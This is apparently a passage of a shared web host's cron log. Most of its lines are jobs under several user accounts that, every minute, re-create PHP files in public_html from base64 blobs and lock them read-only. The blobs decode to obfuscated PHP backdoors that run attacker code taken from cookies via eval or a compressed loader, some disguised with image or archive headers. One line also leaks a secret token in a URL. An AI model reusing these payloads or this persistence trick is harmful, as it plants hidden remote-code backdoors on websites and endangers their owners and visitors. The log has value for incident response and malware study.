keVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:52:01 medusa CROND[25297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:52:01 medusa CROND[25311]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:52:01 medusa CROND[25312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:53:01 medusa CROND[15158]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:53:01 medusa CROND[15159]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:53:01 medusa CROND[15160]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:53:01 medusa CROND[15161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:53:01 medusa CROND[15162]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:53:01 medusa CROND[15164]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:53:01 medusa CROND[15167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:53:01 medusa CROND[15168]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:53:01 medusa CROND[15171]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:53:01 medusa CROND[15174]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:53:01 medusa CROND[15173]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:53:01 medusa CROND[15175]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:54:01 medusa CROND[5427]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:54:01 medusa CROND[5483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:54:01 medusa CROND[5484]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:54:01 medusa CROND[5485]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:54:01 medusa CROND[5486]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:54:01 medusa CROND[5487]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:54:01 medusa CROND[5488]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:54:01 medusa CROND[5490]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:54:01 medusa CROND[5492]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:54:01 medusa CROND[5493]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:54:01 medusa CROND[5495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:54:01 medusa CROND[5500]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:54:01 medusa CROND[5489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27225]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:55:01 medusa CROND[27331]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:55:01 medusa CROND[27333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:55:01 medusa CROND[27334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:55:01 medusa CROND[27337]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
